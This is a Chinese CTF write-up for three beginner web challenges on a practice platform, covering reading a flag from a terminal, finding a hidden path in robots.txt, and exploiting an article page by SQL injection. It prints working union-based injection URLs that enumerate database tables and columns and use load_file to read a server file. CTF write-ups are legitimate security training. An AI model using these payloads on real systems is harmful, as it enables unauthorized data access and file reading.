当前位置: 首页 > web >正文

青少年ctf练习平台--做题wp(1)

1.黑客终端

界面为终端页面,flag一般在主路径下,我们使用cat 查看文件

cat  /flag

2.robots

这题是robots文件,他是一个爬虫的规范库,写的路径是不允许被爬取的,会暴露路径,

我们查看后发现有个f1ag_1n_the_h3re.php,拼接路径,访问

3.文章管理系统

3.1弯路测试

(搞偏了,如需跳过,直接看3.2)

打开环境后点击下一章,看url有存在id字段,测试sql注入。

存在sql注入,继续测试。测试为两个字段。

1,2字段均可回显,查看版本,判断是否为5.0以上。

数据库名为word。再查询表。

库和表和字段为:word,articles,

查询这个word字段后发现flag不正确。那可能是数据库不对,所以得重新查下数据库(为啥不查同数据库的别的表呢,因为这个库就一个表,所以就得换库)

重新查询下数据库如图:information_schema,ctftraining,mysql,performance_schema,test,word

最后在ctfrainging库里发现关键词语flag_table,表,然后再继续测试。

http://challenge.qsnctf.com:31069/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where  table_schema="ctftraining" --+

再查下表的列:

http://challenge.qsnctf.com:31069/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where  table_schema="ctftraining" and table_name="FLAG_TABLE" --+

查询到字段为 

查询后没值,所以再找。发现查询不到值。实在搞不出来,有点了下提示。

3.2提示后再测试

提示说要执行命令,哦哦,那就是得用load_file,去查询下flag文件,直接掏出语句

http://challenge.qsnctf.com:31069/?id=1 and 1=2 union select 1,load_file("/flag") --+

出flag,结束,想不到好简单,一直查数据库,走了太多弯路。

http://www.xdnf.cn/news/3697.html

相关文章:

  • 第九章:反击的序曲(续)
  • C++/SDL 进阶游戏开发 —— 双人塔防(代号:村庄保卫战 19)
  • IP伪装、代理池与分布式爬虫
  • 探索内容智能化的关键解决方案
  • java学习之数据结构:二、链表
  • 模拟SIP终端向Freeswitch注册用户
  • ES6入门---第二单元 模块二:关于数组新增
  • 工业传动核心部件深度剖析:丝杆升降机与气缸的技术特性及选型指南
  • MCP多智能体消息传递机制(Message Passing Between Agents)
  • c#数据结构 线性表篇 非常用线性集合总结
  • springboot基于推荐算法的景点推荐系统(源码+lw+部署文档+讲解),源码可白嫖!
  • 20:深度学习-多层感知器原理
  • Android 端如何监控 ANR、Crash、OOM 等严重问题
  • 深度学习系统学习系列【2】之人工神经网络(ANN)
  • Javase 基础入门 —— 07 接口
  • ChatGPT:重塑人工智能交互范式的破晓之作
  • 【AI论文】交互式生成视频综述
  • 【libuv】基于libuv的exe链接错误
  • JVM——JVM 是如何处理异常的?
  • 传奇各版本迭代时间及内容变化,屠龙/嗜魂法杖/逍遥扇第一次出现的时间和版本
  • Linux53 百度网盘运行(下载devtoolset11后仍提示stdc++3.0.29缺失 计划用docker容器隔离运行,计划后续再看)
  • 鼠标悬浮特效:常见6种背景类悬浮特效
  • Docker与WSL2如何清理
  • 一篇文章看懂web服务
  • NV203NV207SSD固态闪存NV208NV213
  • NoxLucky:个性化动态桌面,打造独一无二的手机体验
  • 用docker ffmpeg测试视频vmaf分数,很快不用编译
  • C#VisionMaster算子二次开发(非方案版)
  • NocoDB:开源的 Airtable 替代方案
  • operator 可以根据需要重载 == 运算符进行比较